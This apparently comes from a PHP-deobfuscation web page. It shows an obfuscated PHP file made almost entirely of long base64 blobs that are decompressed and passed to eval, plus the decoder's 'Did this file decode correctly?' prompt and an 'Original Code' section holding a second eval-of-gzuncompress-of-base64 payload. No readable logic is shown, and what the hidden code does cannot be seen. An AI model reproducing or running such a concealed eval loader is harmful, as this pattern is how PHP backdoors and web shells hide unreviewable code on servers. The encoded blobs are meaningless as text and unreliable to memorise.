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';
eval(trim(gzuncompress(d(base64_decode($core),$k,V))));
Did this file decode correctly?
Original Code
if (!function_exists('gzuncompress')) die('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head></head><body><h1>Error</h1>Error 0x0f. Install and enable the zlib extension.. </body></html>');eval(gzuncompress(base64_decode("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